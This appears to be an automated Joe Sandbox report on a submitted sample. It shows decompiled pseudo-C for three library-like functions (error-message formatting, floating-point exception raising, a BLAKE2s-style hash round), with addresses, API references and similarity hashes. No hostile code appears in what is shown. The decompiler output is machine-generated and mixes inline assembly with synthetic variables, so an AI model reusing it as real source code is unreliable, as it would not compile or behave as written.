			E00246E5E(WCHAR* _a4, long _a8) {
				long _t3;
				signed int _t5;

				_t3 = GetLastError();
				if(_t3 == 0) {
					return 0;
				}
				_t5 = FormatMessageW(0x1200, 0, _t3, 0x400, _a4, _a8, 0);
				asm("sbb eax, eax");
				return  ~( ~_t5);
			}

0x00246e5e
0x00246e66
0x00000000
0x00246e8d
0x00246e7f
0x00246e87
0x00000000

APIs

GetLastError.KERNEL32(002510D8,?,00000200), ref: 00246E5E
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00246E7F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: d47e6bf4a9729c973cf371e0438842bfe9f875dde18e8f1e4f81e95da713f399
Instruction ID: 59a4b3e200849c1a7ee4f663c05e814d64126acb9ea154a80f79af31b5b37b01
Opcode Fuzzy Hash: d47e6bf4a9729c973cf371e0438842bfe9f875dde18e8f1e4f81e95da713f399
Instruction Fuzzy Hash: F7D0C735394302BEFA210E70DC0DF267795B756B81F10C504B356D90D0C5709068D629

Uniqueness

Uniqueness Score: -1.00%

Function 00270FD4 Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00270FD4(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E0026E932(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E0026E898(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x00270fe2
0x00270fe9
0x00270fee
0x00270ff4
0x00270ff7
0x00270ffd
0x00271002
0x00271007
0x00271007
0x0027100d
0x00271012
0x00271017
0x00271017
0x0027101e
0x00271023
0x00271028
0x00271028
0x0027102f
0x00271034
0x00271039
0x00271039
0x00271040
0x00271045
0x0027104a
0x0027104a
0x00271052
0x00271062
0x00271074
0x00271086
0x00271099
0x002710ab
0x002710b3
0x002710b8
0x002710bd
0x002710bd
0x002710c4
0x002710c9
0x002710c9
0x002710d0
0x002710d5
0x002710d5
0x002710dc
0x002710e1
0x002710e1
0x002710e8
0x002710ed
0x002710ed
0x002710f7
0x002710f9
0x00271133
0x002710fb
0x00271100
0x00271124
0x0027112c
0x00271120
0x00271120
0x00271136
0x0027113d
0x0027113f
0x00271161
0x00271169
0x0027116c
0x0027116c
0x0027116e
0x0027116e
0x00271179
0x0027117f
0x00271184
0x0027118b
0x002711c5
0x002711d0
0x002711d6
0x002711d9
0x002711dc
0x002711e8
0x002711f0
0x0027118d
0x00271190
0x0027119c
0x002711a2
0x002711a8
0x002711ab
0x002711b4
0x002711b4
0x002711f3
0x00271201
0x00271207
0x0027120e
0x00271210
0x00271210
0x00271217
0x00271219
0x00271219
0x00271220
0x00271222
0x00271222
0x00271229
0x0027122b
0x0027122b
0x00271232
0x00271234
0x00271234
0x00271241
0x00271244
0x0027127b
0x00271246
0x00271246
0x00271249
0x00271274
0x00271269
0x00271269
0x0027127d
0x00271285
0x00271288
0x002712a7
0x002712ac
0x002712ac
0x002712ae
0x002712b3
0x002712bf
0x002712b5
0x002712b8
0x002712b8
0x002712c4
0x002712c4
0x0027128a
0x0027128d
0x0027129c
0x00000000
0x0027129c
0x0027128f
0x00271292
0x00271294
0x00271294
0x00000000
0x00271292
0x0027124b
0x0027124e
0x00271264
0x00000000
0x00271264
0x00271253
0x00271255
0x00271255
0x00271253
0x00000000
0x00271244
0x00271146
0x00271154
0x0027115c
0x00000000
0x0027115c
0x0027114a
0x0027114f
0x0027114f
0x00000000
0x0027114a
0x00271107
0x00271115
0x0027111d
0x00000000
0x0027111d
0x0027110b
0x00271110
0x00271110
0x0027110b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00270FCF,?,?,00000008,?,?,00270C6F,00000000), ref: 00271201

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 5c25521f8d06959467250956a131b2a3b81c9d9daf032ac1d8528d59cab1e495
Instruction ID: 554fb9954309bd8a7941fec62f387fda458a4130048823da5da7af3faafeb94d
Opcode Fuzzy Hash: 5c25521f8d06959467250956a131b2a3b81c9d9daf032ac1d8528d59cab1e495
Instruction Fuzzy Hash: 30B119316206099FDB19CF2CC48AB657BA0FF45364F65C658E99DCF2A2C336D9A1CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0024404E Relevance: 1.6, Strings: 1, Instructions: 332
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E0024404E() {
				void* _t230;
				signed int* _t231;
				intOrPtr _t240;
				signed int _t245;
				intOrPtr _t246;
				signed int _t257;
				intOrPtr _t258;
				signed int _t269;
				intOrPtr _t270;
				signed int _t275;
				signed int _t280;
				signed int _t285;
				signed int _t290;
				signed int _t295;
				intOrPtr _t296;
				signed int _t301;
				intOrPtr _t302;
				signed int _t307;
				intOrPtr _t308;
				signed int _t313;
				intOrPtr _t314;
				signed int _t319;
				signed int _t324;
				signed int _t329;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed int _t348;
				signed int _t350;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t371;
				signed int _t372;
				signed int _t374;
				signed int _t375;
				intOrPtr _t376;
				intOrPtr _t377;
				signed int _t379;
				signed int _t381;
				intOrPtr _t383;
				signed int _t385;
				signed int _t386;
				signed int _t388;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				intOrPtr _t396;
				signed int _t398;
				intOrPtr _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				signed int _t414;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				intOrPtr _t431;
				signed int _t433;
				intOrPtr _t434;
				void* _t435;
				void* _t436;
				void* _t437;

				_t377 =  *((intOrPtr*)(_t435 + 0xc0));
				_t342 = 0x10;
				 *((intOrPtr*)(_t435 + 0x18)) = 0x3c6ef372;
				memcpy(_t435 + 0x8c,  *(_t435 + 0xd0), _t342 << 2);
				_t436 = _t435 + 0xc;
				_push(8);
				_t230 = memcpy(_t436 + 0x4c,  *(_t377 + 0xf4), 0 << 2);
				_t437 = _t436 + 0xc;
				_t418 =  *_t230 ^ 0x510e527f;
				_t231 =  *(_t377 + 0xfc);
				_t407 =  *(_t230 + 4) ^ 0x9b05688c;
				_t334 =  *(_t437 + 0x64);
				 *(_t437 + 0x28) = 0x6a09e667;
				 *(_t437 + 0x30) = 0xbb67ae85;
				_t379 =  *_t231 ^ 0x1f83d9ab;
				_t348 =  *(_t437 + 0x5c);
				 *(_t437 + 0x44) = _t231[1] ^ 0x5be0cd19;
				 *(_t437 + 0x3c) =  *(_t437 + 0x68);
				 *(_t437 + 0x1c) =  *(_t437 + 0x60);
				 *(_t437 + 0x2c) =  *(_t437 + 0x58);
				 *(_t437 + 0x38) =  *(_t437 + 0x54);
				 *(_t437 + 0x20) =  *(_t437 + 0x50);
				 *((intOrPtr*)(_t437 + 0x10)) = 0;
				 *((intOrPtr*)(_t437 + 0x48)) = 0;
				_t427 =  *(_t437 + 0x44);
				 *(_t437 + 0x14) =  *(_t437 + 0x4c);
				_t240 =  *((intOrPtr*)(_t437 + 0x10));
				 *(_t437 + 0x24) = 0xa54ff53a;
				 *(_t437 + 0x40) = _t334;
				 *(_t437 + 0x34) = _t348;
				do {
					_t37 = _t240 + 0x272680; // 0x3020100
					_t350 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t37 & 0x000000ff) * 4)) + _t348;
					 *(_t437 + 0x14) = _t350;
					_t351 = _t350 ^ _t418;
					asm("rol ecx, 0x10");
					_t245 =  *(_t437 + 0x28) + _t351;
					_t420 =  *(_t437 + 0x34) ^ _t245;
					 *(_t437 + 0x28) = _t245;
					_t246 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror esi, 0xc");
					 *(_t437 + 0x34) = _t420;
					_t48 = _t246 + 0x272681; // 0x4030201
					_t422 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t48 & 0x000000ff) * 4)) + _t420;
					 *(_t437 + 0x14) = _t422;
					_t423 = _t422 ^ _t351;
					asm("ror esi, 0x8");
					_t353 =  *(_t437 + 0x28) + _t423;
					 *(_t437 + 0x28) = _t353;
					asm("ror eax, 0x7");
					 *(_t437 + 0x34) =  *(_t437 + 0x34) ^ _t353;
					_t60 =  *((intOrPtr*)(_t437 + 0x10)) + 0x272682; // 0x5040302
					_t355 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t60 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x20) = _t355;
					_t356 = _t355 ^ _t407;
					asm("rol ecx, 0x10");
					_t257 =  *(_t437 + 0x30) + _t356;
					_t409 =  *(_t437 + 0x1c) ^ _t257;
					 *(_t437 + 0x30) = _t257;
					_t258 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edi, 0xc");
					 *(_t437 + 0x1c) = _t409;
					_t71 = _t258 + 0x272683; // 0x6050403
					_t411 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t71 & 0x000000ff) * 4)) + _t409;
					 *(_t437 + 0x20) = _t411;
					_t412 = _t411 ^ _t356;
					asm("ror edi, 0x8");
					_t358 =  *(_t437 + 0x30) + _t412;
					 *(_t437 + 0x30) = _t358;
					asm("ror eax, 0x7");
					 *(_t437 + 0x1c) =  *(_t437 + 0x1c) ^ _t358;
					_t82 =  *((intOrPtr*)(_t437 + 0x10)) + 0x272684; // 0x7060504
					_t336 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t82 & 0x000000ff) * 4)) + _t334;
					_t360 = _t336 ^ _t379;
					asm("rol ecx, 0x10");
					_t269 =  *(_t437 + 0x18) + _t360;
					_t381 =  *(_t437 + 0x40) ^ _t269;
					 *(_t437 + 0x18) = _t269;
					_t270 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t91 = _t270 + 0x272685; // 0x8070605
					_t337 = _t336 +  *((intOrPtr*)(_t437 + 0x8c + ( *_t91 & 0x000000ff) * 4)) + _t381;
					 *(_t437 + 0x38) = _t337;
					_t338 = _t337 ^ _t360;
					asm("ror ebx, 0x8");
					_t275 =  *(_t437 + 0x18) + _t338;
					 *(_t437 + 0x18) = _t275;
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t381 ^ _t275;
					_t383 =  *((intOrPtr*)(_t437 + 0x10));
					_t101 = _t383 + 0x272686; // 0x9080706
					_t362 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t101 & 0x000000ff) * 4)) +  *(_t437 + 0x3c);
					 *(_t437 + 0x2c) = _t362;
					_t363 = _t362 ^ _t427;
					asm("rol ecx, 0x10");
					_t280 =  *(_t437 + 0x24) + _t363;
					_t429 =  *(_t437 + 0x3c) ^ _t280;
					 *(_t437 + 0x24) = _t280;
					_t110 = _t383 + 0x272687; // 0xa090807
					asm("ror ebp, 0xc");
					_t385 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t110 & 0x000000ff) * 4)) + _t429;
					 *(_t437 + 0x2c) = _t385;
					_t386 = _t385 ^ _t363;
					asm("ror edx, 0x8");
					_t285 =  *(_t437 + 0x24) + _t386;
					 *(_t437 + 0x24) = _t285;
					asm("ror ebp, 0x7");
					 *(_t437 + 0x3c) = _t429 ^ _t285;
					_t431 =  *((intOrPtr*)(_t437 + 0x10));
					_t121 = _t431 + 0x272688; // 0xb0a0908
					_t365 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t121 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x14) = _t365;
					_t366 = _t365 ^ _t386;
					asm("rol ecx, 0x10");
					_t290 =  *(_t437 + 0x18) + _t366;
					_t388 =  *(_t437 + 0x1c) ^ _t290;
					 *(_t437 + 0x18) = _t290;
					_t130 = _t431 + 0x272689; // 0xc0b0a09
					asm("ror edx, 0xc");
					_t433 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t130 & 0x000000ff) * 4)) + _t388;
					 *(_t437 + 0x14) = _t433;
					 *(_t437 + 0x4c) = _t433;
					_t427 = _t433 ^ _t366;
					asm("ror ebp, 0x8");
					_t295 =  *(_t437 + 0x18) + _t427;
					_t389 = _t388 ^ _t295;
					 *(_t437 + 0x18) = _t295;
					 *(_t437 + 0x74) = _t295;
					_t296 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x1c) = _t389;
					 *(_t437 + 0x60) = _t389;
					_t144 = _t296 + 0x27268a; // 0xd0c0b0a
					_t390 =  *(_t437 + 0x40);
					_t368 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t144 & 0x000000ff) * 4)) + _t390;
					 *(_t437 + 0x20) = _t368;
					_t369 = _t368 ^ _t423;
					asm("rol ecx, 0x10");
					_t301 =  *(_t437 + 0x24) + _t369;
					_t391 = _t390 ^ _t301;
					 *(_t437 + 0x24) = _t301;
					_t302 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t154 = _t302 + 0x27268b; // 0xe0d0c0b
					_t425 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t154 & 0x000000ff) * 4)) + _t391;
					 *(_t437 + 0x20) = _t425;
					 *(_t437 + 0x50) = _t425;
					_t418 = _t425 ^ _t369;
					asm("ror esi, 0x8");
					_t307 =  *(_t437 + 0x24) + _t418;
					_t392 = _t391 ^ _t307;
					 *(_t437 + 0x24) = _t307;
					 *(_t437 + 0x78) = _t307;
					_t308 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t392;
					 *(_t437 + 0x64) = _t392;
					_t167 = _t308 + 0x27268c; // 0xf0e0d0c
					_t393 =  *(_t437 + 0x3c);
					_t371 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t167 & 0x000000ff) * 4)) + _t393;
					 *(_t437 + 0x38) = _t371;
					_t372 = _t371 ^ _t412;
					asm("rol ecx, 0x10");
					_t313 =  *(_t437 + 0x28) + _t372;
					_t394 = _t393 ^ _t313;
					 *(_t437 + 0x28) = _t313;
					_t314 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t177 = _t314 + 0x27268d; // 0xe0f0e0d
					_t414 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t177 & 0x000000ff) * 4)) + _t394;
					 *(_t437 + 0x38) = _t414;
					 *(_t437 + 0x54) = _t414;
					_t407 = _t414 ^ _t372;
					asm("ror edi, 0x8");
					_t319 =  *(_t437 + 0x28) + _t407;
					_t395 = _t394 ^ _t319;
					 *(_t437 + 0x28) = _t319;
					asm("ror edx, 0x7");
					 *(_t437 + 0x3c) = _t395;
					 *(_t437 + 0x68) = _t395;
					_t396 =  *((intOrPtr*)(_t437 + 0x10));
					 *(_t437 + 0x6c) = _t319;
					_t190 = _t396 + 0x27268e; // 0xa0e0f0e
					_t374 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t190 & 0x000000ff) * 4)) +  *(_t437 + 0x34);
					 *(_t437 + 0x2c) = _t374;
					_t375 = _t374 ^ _t338;
					asm("rol ecx, 0x10");
					_t324 =  *(_t437 + 0x30) + _t375;
					_t340 =  *(_t437 + 0x34) ^ _t324;
					 *(_t437 + 0x30) = _t324;
					_t199 = _t396 + 0x27268f; // 0x40a0e0f
					asm("ror ebx, 0xc");
					_t398 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t199 & 0x000000ff) * 4)) + _t340;
					 *(_t437 + 0x2c) = _t398;
					 *(_t437 + 0x58) = _t398;
					_t379 = _t398 ^ _t375;
					asm("ror edx, 0x8");
					_t329 =  *(_t437 + 0x30) + _t379;
					_t341 = _t340 ^ _t329;
					 *(_t437 + 0x30) = _t329;
					 *(_t437 + 0x70) = _t329;
					asm("ror ebx, 0x7");
					_t240 =  *((intOrPtr*)(_t437 + 0x10)) + 0x10;
					 *(_t437 + 0x34) = _t341;
					_t348 =  *(_t437 + 0x34);
					 *(_t437 + 0x5c) = _t341;
					_t334 =  *(_t437 + 0x40);
					 *((intOrPtr*)(_t437 + 0x10)) = _t240;
				} while (_t240 <= 0x90);
				 *(_t437 + 0x84) = _t379;
				_t399 =  *((intOrPtr*)(_t437 + 0xd0));
				 *(_t437 + 0x88) = _t427;
				_t434 =  *((intOrPtr*)(_t437 + 0x48));
				 *(_t437 + 0x7c) = _t418;
				 *(_t437 + 0x80) = _t407;
				do {
					_t376 =  *((intOrPtr*)(_t399 + 0xf4));
					_t333 =  *(_t437 + _t434 + 0x6c) ^  *(_t376 + _t434) ^  *(_t437 + _t434 + 0x4c);
					 *(_t376 + _t434) = _t333;
					_t434 = _t434 + 4;
				} while (_t434 < 0x20);
				return _t333;
			}

0x00244054
0x0024406e
0x00244076
0x0024407e
0x0024407e
0x0024408a
0x0024408d
0x0024408d
0x00244099
0x0024409f
0x002440a5
0x002440ab
0x002440af
0x002440b8
0x002440c1
0x002440c7
0x002440d0
0x002440da
0x002440e2
0x002440ea
0x002440f2
0x002440fa
0x00244102
0x00244106
0x0024410a
0x0024410e
0x00244112
0x00244116
0x0024411e
0x00244122
0x00244126
0x00244126
0x0024413a
0x00244140
0x00244144
0x0024414a
0x0024414d
0x0024414f
0x00244151
0x00244155
0x00244159
0x0024415c
0x00244160
0x00244174
0x0024417a
0x0024417e
0x00244184
0x00244187
0x0024418b
0x0024418f
0x00244192
0x0024419e
0x002441b0
0x002441b6
0x002441ba
0x002441c0
0x002441c3
0x002441c5
0x002441c7
0x002441cb
0x002441cf
0x002441d2
0x002441d6
0x002441ea
0x002441f0
0x002441f4
0x002441fa
0x002441fd
0x00244201
0x00244205
0x00244208
0x00244210
0x00244224
0x0024422c
0x00244232
0x00244235
0x00244237
0x00244239
0x0024423d
0x00244241
0x00244244
0x00244254
0x0024425a
0x0024425e
0x00244264
0x00244267
0x0024426b
0x0024426f
0x00244272
0x00244276
0x0024427a
0x0024428c
0x00244292
0x00244296
0x0024429c
0x0024429f
0x002442a1
0x002442a3
0x002442a7
0x002442b2
0x002442be
0x002442c4
0x002442c8
0x002442ce
0x002442d1
0x002442d5
0x002442d9
0x002442dc
0x002442e0
0x002442e4
0x002442f6
0x002442fc
0x00244300
0x00244306
0x00244309
0x0024430b
0x0024430d
0x00244311
0x0024431c
0x00244328
0x0024432e
0x00244332
0x00244336
0x0024433c
0x0024433f
0x00244341
0x00244343
0x00244347
0x0024434b
0x0024434f
0x00244352
0x00244356
0x0024435a
0x00244361
0x0024436e
0x00244370
0x00244374
0x0024437e
0x00244381
0x00244383
0x00244385
0x00244389
0x0024438d
0x00244390
0x002443a0
0x002443a6
0x002443aa
0x002443ae
0x002443b4
0x002443b7
0x002443b9
0x002443bb
0x002443bf
0x002443c3
0x002443c7
0x002443ca
0x002443ce
0x002443d2
0x002443d9
0x002443e6
0x002443ec
0x002443f0
0x002443f6
0x002443f9
0x002443fb
0x002443fd
0x00244401
0x00244405
0x00244408
0x00244418
0x0024441e
0x00244422
0x00244426
0x0024442c
0x0024442f
0x00244431
0x00244433
0x00244437
0x0024443a
0x0024443e
0x00244442
0x00244446
0x0024444a
0x0024445c
0x00244462
0x00244466
0x0024446c
0x0024446f
0x00244471
0x00244473
0x00244477
0x00244482
0x0024448e
0x00244490
0x00244494
0x00244498
0x0024449a
0x002444a1
0x002444a3
0x002444a5
0x002444a9
0x002444b1
0x002444b4
0x002444b7
0x002444bb
0x002444bf
0x002444c3
0x002444c7
0x002444cb
0x002444d6
0x002444dd
0x002444e4
0x002444eb
0x002444ef
0x002444f3
0x002444fa
0x002444fa
0x00244507
0x0024450b
0x0024450e
0x00244511
0x00244520

Strings

gj, xrefs: 00244091

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 01337ed6f95e4676f1f33b919537d510ddaeed7888af7d0737abd3de8fbeb265
Instruction ID: 283a8a4dd2f7203f8947b1eb18c33e381d16bc02b51fc2325ba2c5eaaaf169ff
Opcode Fuzzy Hash: 01337ed6f95e4676f1f33b919537d510ddaeed7888af7d0737abd3de8fbeb265
